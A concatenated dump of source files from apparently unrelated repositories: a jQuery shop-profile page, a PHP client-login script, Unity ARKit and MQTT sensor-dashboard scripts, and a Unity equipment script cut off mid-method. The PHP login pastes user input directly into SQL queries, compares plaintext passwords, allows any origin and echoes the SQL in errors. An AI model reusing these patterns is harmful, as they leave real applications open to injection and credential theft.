</div>
</div>
</div>
<!-- jQuery -->
<script src="../vendor/jquery/jquery.min.js"></script>
<!-- Bootstrap Core JavaScript -->
<script src="../vendor/bootstrap/js/bootstrap.min.js"></script>
<!-- Metis Menu Plugin JavaScript -->
<script src="../vendor/metisMenu/metisMenu.min.js"></script>
<!-- Custom Theme JavaScript -->
<script src="../dist/js/sb-admin-2.js"></script>
<script src="../js/bootstrap-toggle.min.js"></script>
<script>
$("form#myprofile").submit(function(){
var formData = new FormData($(this)[0]);
var isRequiredFieldBlank=false;
if($("input[name='username']").val()==""){
$("#usernamegroup").addClass("has-error");
isRequiredFieldBlank=true;
}else{
if($("#usernamegroup").hasClass("has-error")){
$("#usernamegroup").removeClass("has-error")
}
}
if($("input[name='password']").val()==""){
$("#passwordgroup").addClass("has-error");
isRequiredFieldBlank=true;
}else{
if($("#passwordgroup").hasClass("has-error")){
$("#passwordgroup").removeClass("has-error")
}
}
if($("input[name='shop_name']").val()==""){
$("#shopnamegroup").addClass("has-error");
isRequiredFieldBlank=true;
}else{
if($("#shopnamegroup").hasClass("has-error")){
$("#shopnamegroup").removeClass("has-error")
}
}
if($("input[name='address']").val()==""){
$("#addressgroup").addClass("has-error");
isRequiredFieldBlank=true;
}else{
if($("#addressgroup").hasClass("has-error")){
$("#addressgroup").removeClass("has-error")
}
}
if($("input[name='city']").val()==""){
$("#citygroup").addClass("has-error");
isRequiredFieldBlank=true;
}else{
if($("#citygroup").hasClass("has-error")){
$("#citygroup").removeClass("has-error")
}
}
if(isRequiredFieldBlank){
$(".modal-body #success").hide();
$(".modal-body #error").show();
$(".modal-body #error #reason").remove();
$('<h6 id="reason" style="color: #990000;text-align:center;">'
+"<i class='fa fa-remove fa-3x' style='color: #990000;margin-right:10px;'></i>"+'Please fill in the required field marked in red'+'</h6>').appendTo('#error');
$("#messagemodal").modal();
}else{
if( $("#phonegroup").hasClass("has-error")){
$("#phonegroup").removeClass("has-error");
}
if( $("#webpagegroup").hasClass("has-error")){
$("#webpagegroup").removeClass("has-error");
}
if( $("#fbpagegroup").hasClass("has-error")){
$("#fbpagegroup").removeClass("has-error");
}
$.ajax({
url: '../php/update-shop-details.php',
type: 'POST',
data: formData,
async: false,
success: function(data) {
console.log(data);
var finaldata=JSON.parse(data);
if(finaldata.OPERATION==0){
var search_result=finaldata.SEARCH_RESULT;
$("#username").val(search_result['username']);
$("#password").val(search_result['password']);
$("#shop_name").val(search_result['shop_name']);
$("#address").val(search_result['shop_address']);
$("#city").val(search_result['shop_city']);
$("#phone").val(search_result['shop_phone']);
$("#web_page").val(search_result['shop_web']);
$("#facebook_page").val(search_result['fb_page']);
$("#open_hours").val(search_result['open_hrs']);
$("#open_hrs_2").val(search_result['open_date']);
$("#sms_remaining").text(search_result['sms_remaining']);
$("#default_description").val(search_result['default_description']);
$("#description").val(search_result['description']);
if(search_result['sms_status']=='Y'){
$("#sms_service").bootstrapToggle('on') ;
}else{
$("#sms_service").bootstrapToggle('off');
}
if(search_result['notify_hr1']==24){
$("#notification_hr_1").val("24");
}
if(search_result['notify_hr1']==12){
$("#notification_hr_1").val("12");
}
if(search_result['notify_hr1']==6){
$("#notification_hr_1").val("6");
}
if(search_result['notify_hr1']==2){
$("#notification_hr_1").val("2");
}
if(search_result['notify_hr2']==6){
$("#notification_hr_2").val("6");
}
else if(search_result['notify_hr2']==4){
$("#notification_hr_2").val("4");
}
else if(search_result['notify_hr2']==2){
$("#notification_hr_2").val("2");
}
else{
$("#notification_hr_2").val("0");
}
if(search_result['sms_notify_hr']==24){
$("#sms_hr_1").val("24");
}
else if(search_result['sms_notify_hr']==12){
$("#sms_hr_1").val("12");
}
else if(search_result['sms_notify_hr']==6){
$("#sms_hr_1").val("6");
}
else{
$("#sms_hr_1").val("2");
}
var image_src=search_result['image_url'];
var start_index=image_src.indexOf('upload');
var end_index=image_src.length;
var relativeUrl=image_src.substring(start_index,end_index);
$("#shop_image").attr("src","../"+relativeUrl);
$(".modal-body #error #reason").remove();
$(".modal-body #error").hide();
$(".modal-body #success").show();
$("#messagemodal").modal();
}else{
var finaldata=JSON.parse(data);
var error_code=finaldata.VALIDATION_ERROR;
if(error_code=="Supplied phone no not valid"){
$("#phonegroup").addClass("has-error");
}
if(error_code=="Supplied web url not valid"){
$("#webpagegroup").addClass("has-error");
}
if(error_code=="Supplied facebook web url not valid"){
$("#fbpagegroup").addClass("has-error");
}
if(error_code=="Field value sms supplied is not neumeric, only neumeric value expected"){
$("#smsgroup").addClass("has-error");
}
$(".modal-body #success").hide();
$(".modal-body #error #reason").remove();
$(".modal-body #error").show();
$('<h6 id="reason" style="color: #990000;text-align:center;">'
+"<i class='fa fa-remove fa-3x' style='color: #990000;margin-right:10px;'></i>"+error_code+'</h6>').appendTo('#error');
$("#messagemodal").modal();
}
},
cache: false,
contentType: false,
processData: false
});
}
return false;
});
</script>
<script>
$.post("../php/getShopDetailsByShopId.php",
function(result){
console.log(result);
var finaldata=JSON.parse(result);
if(finaldata.OPERATION==0){
var search_result=finaldata.SEARCH_RESULT;
$("#username").val(search_result['username']);
$("#password").val(search_result['password']);
$("#shop_name").val(search_result['shop_name']);
$("#address").val(search_result['shop_address']);
$("#city").val(search_result['shop_city']);
$("#phone").val(search_result['shop_phone']);
$("#web_page").val(search_result['shop_web']);
$("#facebook_page").val(search_result['fb_page']);
$("#open_hours").val(search_result['open_hrs']);
$("#open_hrs_2").val(search_result['open_date']);
$("#sms_remaining").text(search_result['sms_remaining']);
$("#default_description").val(search_result['default_description']);
$("#description").val(search_result['description']);
if(search_result['sms_service']=='Y'){
$("#sms_service").bootstrapToggle('on') ;
}else{
$("#sms_service").bootstrapToggle('off');
}
if(search_result['notify_hr1']==24){
$("#notification_hr_1").val("24");
}
if(search_result['notify_hr1']==12){
$("#notification_hr_1").val("12");
}
if(search_result['notify_hr1']==6){
$("#notification_hr_1").val("6");
}
if(search_result['notify_hr1']==2){
$("#notification_hr_1").val("2");
}
if(search_result['notify_hr2']==6){
$("#notification_hr_2").val("6");
}
else if(search_result['notify_hr2']==4){
$("#notification_hr_2").val("4");
}
else if(search_result['notify_hr2']==2){
$("#notification_hr_2").val("2");
}
else{
$("#notification_hr_2").val("0");
}
if(search_result['sms_notify_hr']==24){
$("#sms_hr_1").val("24");
}
else if(search_result['sms_notify_hr']==12){
$("#sms_hr_1").val("12");
}
else if(search_result['sms_notify_hr']==6){
$("#sms_hr_1").val("6");
}
else{
$("#sms_hr_1").val("2");
}
var image_src=search_result['image_url'];
var start_index=image_src.indexOf('upload');
var end_index=image_src.length;
var relativeUrl=image_src.substring(start_index,end_index);
$("#shop_image").attr("src","../"+relativeUrl);
}else{
var finaldata=JSON.parse(result);
var error_code=finaldata.VALIDATION_ERROR;
$(".modal-body #success").hide();
$(".modal-body #error").show();
$(".modal-body #error #reason").remove();
$('<h6 id="reason" style="color: #990000;text-align:center;">'
+"<i class='fa fa-remove fa-3x' style='color: #990000;margin-right:10px;'></i>"+error_code+'</h6>').appendTo('#error');
$("#messagemodal").modal();
}
});
</script>
<script>
var ajax_call = function() {
$.ajax({
url: '../php/get-notification-count.php',
type: 'POST',
async: false,
success:function(data){
//console.log(data);
var finaldata=JSON.parse(data);
if(finaldata.COUNT>0){
$('#notification_count').show();
$('#notification_count').text(finaldata.COUNT);
}else{
$('#notification_count').hide();
}
},
cache: false,
contentType: false,
processData: false
});
};
var interval = 1000 * 60 * 1; // where X is your every X minutes
setInterval(ajax_call, interval);
</script>
</body>
</html>
<file_sep>/php/login-client-app.php
<?php
header('Access-Control-Allow-Origin: *');
if(!session_id()){
session_start();
}
require("{$_SERVER['DOCUMENT_ROOT']}/shopapp/constant/application-constant.php");
try{
$username=stripslashes(htmlspecialchars(trim($_POST['username'])));
$password=stripslashes(htmlspecialchars(trim($_POST['password'])));
checkIfUserIsValid($username,$password);
}catch(Exception $e){
echo json_encode(['OPERATION'=>1,'ERROR'=>$e->getMessage()]);
}
function getShopId($username,$conn,$dbname){
try{
$sql="select x1.shop_id from $dbname.Login x,$dbname.shop_details x1 where x.login_id=x1.shop_login_id and x.login_username='$username'";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
$rowcount=mysqli_num_rows($result);
if($rowcount>0){
$row=mysqli_fetch_array($result);
return $row['shop_id'];
}
}catch(Exception $e){
throw $e;
}
}
function getClientId($username,$conn,$dbname){
try{
$sql="select x1.user_ID user_id from $dbname.Login x,$dbname.User_Details x1 where x.login_id=x1.user_Login_ID and x.login_username='$username'";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
$rowcount=mysqli_num_rows($result);
if($rowcount>0){
$row=mysqli_fetch_array($result);
return $row['user_id'];
}
}catch(Exception $e){
throw $e;
}
}
function getShopAdminId($username,$conn,$dbname){
try{
$sql="select x1.Doc_ID doc_id from $dbname.Login x,$dbname.doctor_details x1 where x.login_id=x1.Doc_Login_ID and x.login_username='$username'";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
$rowcount=mysqli_num_rows($result);
if($rowcount>0){
$row=mysqli_fetch_array($result);
return $row['doc_id'];
}
}catch(Exception $e){
throw $e;
}
}
function checkIfUserIsValid($username,$password){
try{
$loginType="";
$shopid="";
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="select x.client_login_type loginType from $dbname.Login x where x.Login_Username='$username' and x.Login_Password='$<PASSWORD>'";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
$rowcount=mysqli_num_rows($result);
if($rowcount>0){
$row=mysqli_fetch_array($result);
$loginType=$row['loginType'];
}
if ($loginType=='Client'){
$clientid=getClientId($username,$conn,$dbname);
echo json_encode(['OPERATION'=>0,'CLIENTID'=>$clientid]);
}
else{
throw new Exception(LOGIN_FAILED);
}
mysqli_close($conn);
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
?> | 98687f99d5a64356648de91b779ca4fb7830d2c0 | [
"Markdown",
"PHP"
] | 42 | PHP | ranjanabha/shopapp | 5e2689681aaec93521e6ee98877332b8bda5b99f | c9514f7bcfcffcf10d776bc5f3756f4d5f1642d6 |
refs/heads/master | <repo_name>noseeevil/Visualization-AR-iOT-MQTT-<file_sep>/Assets/UnityARKitPlugin/Examples/ARKit2.0/UnityARObjectAnchor/GenerateObjectAnchor.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.XR.iOS;
using UnityEngine.UI;
public class GenerateObjectAnchor : MonoBehaviour
{
[SerializeField]
private ARReferenceObjectAsset referenceObjectAsset;
private GameObject objectAnchorGo;
public GameObject AxesPrefab;
// Use this for initialization
void Start ()
{
UnityARSessionNativeInterface.ARObjectAnchorAddedEvent += AddObjectAnchor;
UnityARSessionNativeInterface.ARObjectAnchorUpdatedEvent += UpdateObjectAnchor;
}
void AddObjectAnchor(ARObjectAnchor arObjectAnchor)
{
if (arObjectAnchor.referenceObjectName == referenceObjectAsset.objectName)
{
Debug.Log("***AddObjectAnchor");
Instantiate(AxesPrefab, UnityARMatrixOps.GetPosition(arObjectAnchor.transform), UnityARMatrixOps.GetRotation(arObjectAnchor.transform));
FindObjectOfType<mqttTest>().Connect();
}
}
void UpdateObjectAnchor(ARObjectAnchor arObjectAnchor)
{
if (arObjectAnchor.referenceObjectName == referenceObjectAsset.objectName)
{
Debug.Log("***UpdateObjectAnchor");
}
}
void OnDestroy()
{
UnityARSessionNativeInterface.ARObjectAnchorAddedEvent -= AddObjectAnchor;
UnityARSessionNativeInterface.ARObjectAnchorUpdatedEvent -= UpdateObjectAnchor;
}
}
<file_sep>/Assets/MQTT/scripts/test/mqttTest.cs
using UnityEngine;
using System.Collections;
using System.Net;
using uPLibrary.Networking.M2Mqtt;
using uPLibrary.Networking.M2Mqtt.Messages;
using uPLibrary.Networking.M2Mqtt.Utility;
using uPLibrary.Networking.M2Mqtt.Exceptions;
using System;
using UnityEngine.UI;
using System.Threading;
public class mqttTest : MonoBehaviour
{
private MqttClient client;
public string BrokerIp= "192.168.42.1";
public int BrokerPort = 1883;
public string TopicCO2 = "";
public string TopicHumidity = "";
public string TopicIlluminance = "";
public string TopicSoundLevel = "";
public string TopicTemperature = "";
public string TopicInputVoltage = "";
public string TopicBatVoltage = "";
public string MessageText = "";
public Text ConnectStatusText;
public Text TextCO2;
public Text TextHumidity;
public Text TextIlluminance;
public Text TextSoundLevel;
public Text TextTemperature;
public Text TextVoltage;
public Text TextBatVoltage;
private void Start()
{
//Debug.Log("Screen - " + Screen.width.ToString() + " " + Screen.height.ToString());
}
public bool can = false;
private void Update()
{
if(can)
{
can = false;
Send(TopicCO2, MessageText);
}
TextCO2.text = "CO2(ppm) - " + co2;
//TextHumidity.text = "Влажность(г/м³) - " + humidity;
TextHumidity.text = "Влажность(%) - " + humidity;
TextIlluminance.text = "Освещение - " + illuminance;
TextSoundLevel.text = "Шум(дБ) - " + sound;
TextTemperature.text = "Температура(°C) - " + temperature;
TextVoltage.text = "Наряжение(В) - " + voltage;
TextBatVoltage.text = "Напряжение батареи(В) - " + voltageBat;
}
// Use this for initialization
public void Connect()
{
var t = new Thread(StartThread)
{
IsBackground = true
};
t.Start();
}
public void StartThread()
{
client = new MqttClient(IPAddress.Parse(BrokerIp), BrokerPort, false, null);
client.MqttMsgPublishReceived += client_MqttMsgPublishReceived;
string clientId = Guid.NewGuid().ToString();
client.Connect(clientId);
Debug.Log("Connected - " + BrokerIp);
//ConnectStatusText.text = "Connected - " + BrokerIp;
client.Subscribe(new string[] { TopicCO2 }, new byte[] { MqttMsgBase.QOS_LEVEL_EXACTLY_ONCE });
client.Subscribe(new string[] { TopicHumidity }, new byte[] { MqttMsgBase.QOS_LEVEL_EXACTLY_ONCE });
client.Subscribe(new string[] { TopicIlluminance }, new byte[] { MqttMsgBase.QOS_LEVEL_EXACTLY_ONCE });
client.Subscribe(new string[] { TopicSoundLevel }, new byte[] { MqttMsgBase.QOS_LEVEL_EXACTLY_ONCE });
client.Subscribe(new string[] { TopicTemperature }, new byte[] { MqttMsgBase.QOS_LEVEL_EXACTLY_ONCE });
client.Subscribe(new string[] { TopicInputVoltage }, new byte[] { MqttMsgBase.QOS_LEVEL_EXACTLY_ONCE });
client.Subscribe(new string[] { TopicBatVoltage }, new byte[] { MqttMsgBase.QOS_LEVEL_EXACTLY_ONCE });
}
private void client_MqttMsgPublishReceived(object sender, MqttMsgPublishEventArgs e)
{
GetShortString(e.Topic, System.Text.Encoding.UTF8.GetString(e.Message));
Debug.Log(e.Topic);
//Debug.Log("Received: " + System.Text.Encoding.UTF8.GetString(e.Message));
}
public void Send(string topic, string msg)
{
client.Publish(topic, System.Text.Encoding.UTF8.GetBytes(msg), MqttMsgBase.QOS_LEVEL_EXACTLY_ONCE, true);
ConnectStatusText.text = "Sent - " + topic + "/" + msg;
}
public void Send()
{
Debug.Log("[Sending...]");
//client.Publish("hello/world", System.Text.Encoding.UTF8.GetBytes("Sending from Unity3D!!!"), MqttMsgBase.QOS_LEVEL_EXACTLY_ONCE, true);
client.Publish(TopicCO2, System.Text.Encoding.UTF8.GetBytes(MessageText), MqttMsgBase.QOS_LEVEL_EXACTLY_ONCE, true);
Debug.Log("[Sent]");
}
private string co2 = "";
private string humidity = "";
private string illuminance = "";
private string sound = "";
private string temperature = "";
private string voltage = "";
private string voltageBat = "";
private void GetShortString(string inputTopic, string inputMsg)
{
if(inputTopic == "/devices/wb-msw2_34/controls/CO2")
{
Debug.Log("CO2 - " + inputMsg);
//TextCO2.text = "huy";
co2 = inputMsg;
}
if (inputTopic == "/devices/wb-msw2_34/controls/Humidity")
{
//TextHumidity.text = "Humidity - " + inputMsg;
Debug.Log("Humidity - " + inputMsg);
humidity = inputMsg;
}
if (inputTopic == "/devices/wb-msw2_34/controls/Illuminance")
{
//TextIlluminance.text = "Illuminance - " + inputMsg;
Debug.Log("Illuminance - " + inputMsg);
illuminance = inputMsg;
}
if (inputTopic == "/devices/wb-msw2_34/controls/Sound Level")
{
//TextSoundLevel.text = "Sound Level - " + inputMsg;
Debug.Log("Sound Level - " + inputMsg);
sound = inputMsg;
}
if (inputTopic == "/devices/wb-msw2_34/controls/Temperature")
{
//TextTemperature.text = "Temperature - " + inputMsg;
Debug.Log("Temperature - " + inputMsg);
temperature = inputMsg;
}
if (inputTopic == "/devices/wb-msw2_34/controls/Input Voltage")
{
//TextTemperature.text = "Temperature - " + inputMsg;
Debug.Log("InputVoltage - " + inputMsg);
voltage = inputMsg;
}
if (inputTopic == "/devices/wb-adc/controls/BAT")
{
//TextTemperature.text = "Temperature - " + inputMsg;
Debug.Log("InputBatVoltage - " + inputMsg);
voltageBat = inputMsg;
}
}
public void RemoteControl(string msg)
{
Send("/devices/shedule0/controls/virtual/on", msg);
}
public void VirtualNight(string msg)
{
Send("/devices/shedule7/controls/virtual_night/on", msg);
}
public void VirtualLeak(string msg)
{
Send("/devices/shedule1/controls/virtual_leak/on", msg);
}
public void VirtualRadiation(string msg)
{
Send("/devices/shedule5/controls/virtual_radiation/on", msg);
}
public void VirtualVoltage(string msg)
{
Send("/devices/shedule3/controls/virtual_voltage/on", msg);
}
public void VirtualNose1(string msg)
{
Send("/devices/shedule4/controls/virtual_nose1/on", msg);
}
public void VirtualNose2(string msg)
{
Send("/devices/shedule4/controls/virtual_nose2/on", msg);
}
public void VirtualIntruder(string msg)
{
Send("/devices/shedule2/controls/virtual_intruder/on", msg);
}
}
| fb0022ec30162c5a3bf093f442c5d76ff1ba3d9a | [
"C#"
] | 2 | C# | noseeevil/Visualization-AR-iOT-MQTT- | 51a03aef8918cf28d5af6b147f029c7ec0f147e6 | a831f73aea8e33b8f2afd3b1d2e0c0bf1acfe871 |
refs/heads/master | <repo_name>daniellundmark/Platform-Testing-Simple<file_sep>/README.md
# Platform-Testing-Simple
Simple examples of using the Rhino test facades
<file_sep>/src/test/java/com/gearsofleo/testing/simple/BetTest.java
package com.gearsofleo.testing.simple;
import java.util.List;
import javax.annotation.Resource;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.test.context.ActiveProfiles;
import org.springframework.test.context.ContextConfiguration;
import org.testng.Assert;
import org.testng.annotations.Test;
import com.gearsofleo.platform.core.gaming.api.PlatformCoreGamingApiProtos.BetTransactionDTO;
import com.gearsofleo.rhino.core.bootstrap.AppProfile;
import com.gearsofleo.rhino.test.AbstractTestNGTest;
import com.gearsofleo.testing.dsl.domain.valueobject.PlayerWithSession;
import com.gearsofleo.testing.dsl.facade.AccountFacade;
import com.gearsofleo.testing.dsl.facade.AuthenticationFacade;
import com.gearsofleo.testing.dsl.facade.GamingFacade;
import com.gearsofleo.testing.simple.config.PropertiesConfig;
import com.gearsofleo.testing.simple.config.TestConfig;
@ActiveProfiles(AppProfile.NORMAL)
@ContextConfiguration(classes = {PropertiesConfig.class, TestConfig.class })
public class BetTest extends AbstractTestNGTest {
private final Logger logger = LoggerFactory.getLogger(getClass());
@Resource
private AuthenticationFacade authenticationFacade;
@Resource
private AccountFacade accountFacade;
@Resource
private GamingFacade netEntGamingFacade;
@Test
public void test_loseBet() throws Exception {
PlayerWithSession player = authenticationFacade.login("<EMAIL>", "testar");
double balanceBefore = accountFacade.getRealMoneyBalance(player);
logger.debug("Balance before bet is: {}", balanceBefore);
double betAmount = 10.0;
netEntGamingFacade.loseBet(player, betAmount);
double balanceAfter = accountFacade.getRealMoneyBalance(player);
logger.debug("Balance after bet is: {}", balanceAfter);
Assert.assertEquals(balanceAfter, balanceBefore - betAmount);
}
@Test
public void test_winBet() throws Exception {
PlayerWithSession player = authenticationFacade.login("<EMAIL>", "testar");
double balanceBefore = accountFacade.getRealMoneyBalance(player);
logger.debug("Balance before bet is: {}", balanceBefore);
double betAmount = 10.0;
double winAmount = 50.0;
netEntGamingFacade.winBet(player, betAmount, winAmount);
double balanceAfter = accountFacade.getRealMoneyBalance(player);
logger.debug("Balance after bet is: {}", balanceAfter);
Assert.assertEquals(balanceAfter, balanceBefore - betAmount + winAmount);
}
@Test
public void test_should_play_for_real_money() throws Exception {
PlayerWithSession player = authenticationFacade.login("<EMAIL>", "testar");
double balanceBefore = accountFacade.getRealMoneyBalance(player);
logger.debug("Balance before bet is: {}", balanceBefore);
double betAmount = 10.0;
List<BetTransactionDTO> betTransactions =
netEntGamingFacade.loseBet(player, betAmount);
double balanceAfter = accountFacade.getRealMoneyBalance(player);
logger.debug("Balance after bet is: {}", balanceAfter);
Assert.assertEquals(balanceAfter, balanceBefore - betAmount);
Assert.assertTrue(betTransactions.size() > 0, "There should be bet transactions for this bet");
Assert.assertEquals(Double.valueOf(betTransactions.get(0).getRealAmount()), betAmount,
"The bet should be for real money");
}
}
<file_sep>/src/test/java/com/gearsofleo/testing/simple/KambiTest.java
package com.gearsofleo.testing.simple;
import java.util.List;
import java.util.Optional;
import javax.annotation.Resource;
import org.springframework.test.context.ActiveProfiles;
import org.springframework.test.context.ContextConfiguration;
import org.testng.Assert;
import org.testng.annotations.Test;
import com.gearsofleo.platform.core.gaming.betting.api.PlatformCoreGamingBettingApiProtos.BettingTransactionDTO;
import com.gearsofleo.platform.core.gaming.betting.api.PlatformCoreGamingBettingApiProtos.BettingTransactionTypeDTO;
import com.gearsofleo.platform.integration.gaming.kambi.api.KambiApiProtos.AuthenticateResponse;
import com.gearsofleo.platform.integration.gaming.kambi.api.KambiApiProtos.KambiTransactionType;
import com.gearsofleo.platform.integration.gaming.kambi.api.KambiApiProtos.WalletResponse;
import com.gearsofleo.rhino.core.bootstrap.AppProfile;
import com.gearsofleo.rhino.test.AbstractTestNGTest;
import com.gearsofleo.testing.dsl.domain.valueobject.PlayerWithSession;
import com.gearsofleo.testing.dsl.domain.valueobject.sportsbook.Coupon;
import com.gearsofleo.testing.dsl.facade.AuthenticationFacade;
import com.gearsofleo.testing.dsl.facade.PlayerFacade;
import com.gearsofleo.testing.dsl.facade.SportsbookFacade;
import com.gearsofleo.testing.dsl.service.external.ExternalAuthenticationService;
import com.gearsofleo.testing.dsl.service.external.ExternalGamingBettingService;
import com.gearsofleo.testing.dsl.service.external.ExternalIntegrationGamingKambiService;
import com.gearsofleo.testing.simple.config.TestConfig;
@ActiveProfiles(AppProfile.NORMAL)
@ContextConfiguration(classes = { TestConfig.class })
public class KambiTest extends AbstractTestNGTest {
@Resource(name="externalIntegrationGamingKambiService")
private ExternalIntegrationGamingKambiService kambiService;
@Resource
private SportsbookFacade sportsbookFacade;
@Resource
private PlayerFacade playerFacade;
@Resource
private AuthenticationFacade authenticationFacade;
@Resource
private ExternalAuthenticationService externalAuthenticationService;
@Resource
private ExternalGamingBettingService externalGamingBettingService;
@Test
public void authenticate(){
// Login the player and get a token
PlayerWithSession player = authenticationFacade.login("<EMAIL>", "testar");
String token = externalAuthenticationService.createToken(player.getSessionDTO().getSessionUid()).getTokenUid();
// Authenticate against our implementation of the Wallet API
AuthenticateResponse resp = kambiService.authenticate(token);
Assert.assertEquals(resp.getPlayerSessionToken(), player.getSessionDTO().getSessionUid());
Assert.assertEquals(resp.getCustomerPlayerId(), player.getPlayerUid());
}
@Test
public void fund_and_win_live_bet(){
// Login the player
PlayerWithSession player = authenticationFacade.login("<EMAIL>", "testar");
double stakeAmount = 10;
// Get a coupon and fund it
Coupon coupon = sportsbookFacade.createCoupon(player, 2, stakeAmount);
WalletResponse response;
// Fund the coupon
response = kambiService.fundLiveBet(coupon);
Assert.assertEquals(response.getSuccess(), true);
// Approve the live bet
response = kambiService.approveBet(coupon);
Assert.assertEquals(response.getSuccess(), true);
double winAmount = 100;
// Settle each combination as a win
coupon.getCombinations().forEach(c -> {
WalletResponse cresp = kambiService.winCombination(coupon, c, winAmount);
Assert.assertEquals(cresp.getSuccess(), true);
});
// Make sure we have matching betting transactions
List<BettingTransactionDTO> bettingTransactions = externalGamingBettingService.findBettingTransactions(coupon).getTransactionList();
sportsbookFacade.assertTransaction(1, bettingTransactions, coupon, Optional.of(BettingTransactionTypeDTO.PLACE_COUPON_WAGER), Optional.of(KambiTransactionType.STAKE_TRANSACTION_UNAPPROVED_BET), 20);
sportsbookFacade.assertTransaction(1, bettingTransactions, coupon, Optional.of(BettingTransactionTypeDTO.APPROVE_COUPON_WAGER), Optional.of(KambiTransactionType.ACCEPT_COUPON_NOTIFICATION), 0);
sportsbookFacade.assertTransaction(2, bettingTransactions, coupon, Optional.of(BettingTransactionTypeDTO.REPORT_COUPON_RESULT), Optional.of(KambiTransactionType.PAYOUT_SETTLED_BET_DEPOSIT), 100); // There should actually be two of these
}
@Test
public void fund_and_lose_live_bet(){
// Login the player
PlayerWithSession player = authenticationFacade.login("<EMAIL>", "testar");
double stakeAmount = 10;
// Get a coupon and fund it
Coupon coupon = sportsbookFacade.createCoupon(player, 2, stakeAmount);
WalletResponse response;
// Fund the coupon
response = kambiService.fundLiveBet(coupon);
Assert.assertEquals(response.getSuccess(), true);
// Approve the live bet
response = kambiService.approveBet(coupon);
Assert.assertEquals(response.getSuccess(), true);
// Settle each combination as a loss
coupon.getCombinations().forEach(c -> {
WalletResponse cresp = kambiService.loseCombination(coupon, c);
Assert.assertEquals(cresp.getSuccess(), true);
});
// Make sure we have matching betting transactions
List<BettingTransactionDTO> bettingTransactions = externalGamingBettingService.findBettingTransactions(coupon).getTransactionList();
sportsbookFacade.assertTransaction(1, bettingTransactions, coupon, Optional.of(BettingTransactionTypeDTO.PLACE_COUPON_WAGER), Optional.of(KambiTransactionType.STAKE_TRANSACTION_UNAPPROVED_BET), 20);
sportsbookFacade.assertTransaction(1, bettingTransactions, coupon, Optional.of(BettingTransactionTypeDTO.APPROVE_COUPON_WAGER), Optional.of( KambiTransactionType.ACCEPT_COUPON_NOTIFICATION), 0);
sportsbookFacade.assertTransaction(2, bettingTransactions, coupon, Optional.of(BettingTransactionTypeDTO.REPORT_COUPON_RESULT), Optional.of(KambiTransactionType.CLOSE_LOST_BET), 0);
}
}
| d3062a573b41be1bb79f2225bd64e362b3b0586f | [
"Markdown",
"Java"
] | 3 | Markdown | daniellundmark/Platform-Testing-Simple | 79af83c65c4b862fc6720b9783eb59b226406bc2 | 70d4255b9e314e6048f579aefad4454e09cda328 |
refs/heads/master | <file_sep>package com.wafermessenger.restcountries;
/**
* Created by <NAME>. on 16/08/18.
*/
import android.content.Context;
import android.support.v7.widget.RecyclerView;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.RelativeLayout;
import android.widget.TextView;
import com.wafermessenger.restcountries.models.Country;
import com.wafermessenger.restcountries.models.Currency;
import com.wafermessenger.restcountries.models.Language;
import java.util.List;
public class CountryListAdapter extends RecyclerView.Adapter<CountryListAdapter.MyViewHolder> {
private Context context;
private List<Country> cartList;
public class MyViewHolder extends RecyclerView.ViewHolder {
public TextView name, currency, language;
public RelativeLayout viewBackground, viewForeground;
public MyViewHolder(View view) {
super(view);
name = view.findViewById(R.id.name);
currency = view.findViewById(R.id.currency);
language = view.findViewById(R.id.language);
viewBackground = view.findViewById(R.id.view_background);
viewForeground = view.findViewById(R.id.view_foreground);
}
}
public CountryListAdapter(Context context, List<Country> cartList) {
this.context = context;
this.cartList = cartList;
}
@Override
public MyViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {
View itemView = LayoutInflater.from(parent.getContext())
.inflate(R.layout.cart_list_country , parent, false);
return new MyViewHolder(itemView);
}
@Override
public void onBindViewHolder(MyViewHolder holder, final int position) {
final Country country = cartList.get(position);
holder.name.setText(country.getName());
holder.currency.setText(preventNullCurrencyName(country.getCurrencies()));
holder.language.setText(preventNullLanguageName(country.getLanguages()));
}
private String preventNullCurrencyName(List<Currency> currencyList) {
if (currencyList.isEmpty()) {
return "";
} else {
return (null == currencyList.get(0).getName() ? "" : currencyList.get(0).getName());
}
}
private String preventNullLanguageName(List<Language> languageList) {
if (languageList.isEmpty()) {
return "";
} else {
return (null == languageList.get(0).getName() ? "" : languageList.get(0).getName());
}
}
@Override
public int getItemCount() {
return (null != cartList ? cartList.size() : 0);
}
public void removeItem(int position) {
cartList.remove(position);
notifyItemRemoved(position);
}
public void restoreItem(Country country, int position) {
cartList.add(position, country);
notifyItemInserted(position);
}
}
| 9fc4d040b0bbd88d071177f1ef0e50b183719229 | [
"Java"
] | 1 | Java | juniorug/RestCountries | 2e25a2ea900ac19ca86fa0aa8b9014ec75a423c5 | 7e9d089fc9e4e99789a1f839d20b66fe5603e4af |
refs/heads/master | <repo_name>ssmith151/Comrade-Miner<file_sep>/miner comrade v2/Assets/Scripts/EquipmentManager.cs
using UnityEngine;
using System.Collections;
using UnityEngine.UI;
public class EquipmentManager : MonoBehaviour {
private Text currentEquipmentNotice;
public GameObject tractorBeam;
public GameObject miningLaser;
public TractorBeamRotator tbCode;
public MiningLaserController mlCode;
public GameObject current;
public GameObject previous;
public bool tractorBeamOwned;
public int laserPower;
// Use this for initialization
void Start () {
currentEquipmentNotice = transform.GetComponent<Text>();
currentEquipmentNotice.text = "Mining Laser, press right mouse to switch";
mlCode = miningLaser.GetComponent<MiningLaserController>();
tbCode = tractorBeam.GetComponent<TractorBeamRotator>();
current = miningLaser;
previous = tractorBeam;
tractorBeam.SetActive(false);
tractorBeamOwned = false;
laserPower = 5;
}
// Update is called once per frame
void Update () {
if (Input.GetMouseButtonUp(1) )
{
previous = current;
if (previous == tractorBeam) {
current = miningLaser;
currentEquipmentNotice.text = "Mining Laser, press right mouse to switch";
miningLaser.SetActive(true);
tractorBeam.SetActive(false);
} else if (tractorBeamOwned == true)
{
current = tractorBeam;
